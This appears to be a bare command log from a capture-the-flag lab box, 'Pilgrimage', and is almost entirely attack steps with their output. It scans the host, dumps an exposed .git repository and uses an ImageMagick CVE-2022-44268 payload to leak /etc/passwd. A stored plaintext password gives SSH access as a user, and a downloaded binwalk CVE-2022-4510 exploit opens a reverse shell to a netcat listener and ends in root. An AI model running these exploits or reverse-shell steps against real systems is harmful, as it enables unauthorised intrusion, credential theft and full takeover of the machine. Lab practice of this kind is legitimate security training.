nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.219
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 00:31 EST
Nmap scan report for 10.10.11.219
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=11/26%OT=22%CT=1%CU=38817%PV=Y%DS=2%DC=T%G=Y%TM=674
OS:55D6C%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A
OS:)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53
OS:CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88
OS:)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%D
OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   21.40 ms 10.10.14.1
2   21.53 ms 10.10.11.219
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.24 seconds

80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

nmap -sC -sV -T4 -A -Pn -p- --open pilgrimage.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 00:49 EST
Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 00:49 (0:00:00 remaining)
Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Pilgrimage - Shrink Your Images
| http-git: 
|   10.10.11.219:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=11/26%OT=22%CT=1%CU=31139%PV=Y%DS=2%DC=T%G=Y%TM=674
OS:5617D%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A
OS:)SEQ(SP=107%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53C
OS:ST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1
OS:=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O
OS:=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=
OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   21.44 ms 10.10.14.1
2   21.64 ms pilgrimage.htb (10.10.11.219)
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.23 seconds
 

git-dumper  http://pilgrimage.htb/.git ./website

./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

python2 CVE-2022-44268.py --image ../penguin.jpg --file-to-read '/etc/passwd' --output ../poisoned.png

python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a3939383a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a"))'
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:109::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nemily:x:1000:1000:emily,,,:/home/emily:/bin/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n_laurel:x:998:998::/var/log/laurel:/bin/false\n'

cargo run "/var/db/pilgrimage"

identify -verbose 6745e73630454.png

sqlite3 download.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
images  users

sqlite> select * from users;
emily|abigchonkyboi123

ssh emily@10.10.11.219
password: abigchonkyboi123

emily@pilgrimage:~$ cat user.txt 
1e53bc57...

emily@pilgrimage:/$ uname -a
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
emily@pilgrimage:/$ id
uid=1000(emily) gid=1000(emily) groups=1000(emily)

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
 
blacklist=("Executable script" "Microsoft executable")
 
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
	filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
	binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
		if [[ "$binout" == *"$banned"* ]]; then
			/usr/bin/rm "$filename"
			break
		fi
	done
done

emily@pilgrimage:~$ /usr/local/bin/binwalk 
 
Binwalk v2.3.2

wget https://www.exploit-db.com/raw/51249

python3 binwalk.py penguin.jpg 10.10.14.4 1234
 
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
 
You can now rename and share binwalk_exploit and start your local netcat listener.

python3 -m http.server 80

emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ wget http://10.10.14.4/binwalk_exploit.png

nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.219] 40116
whoami
root

cat root.txt
01235139...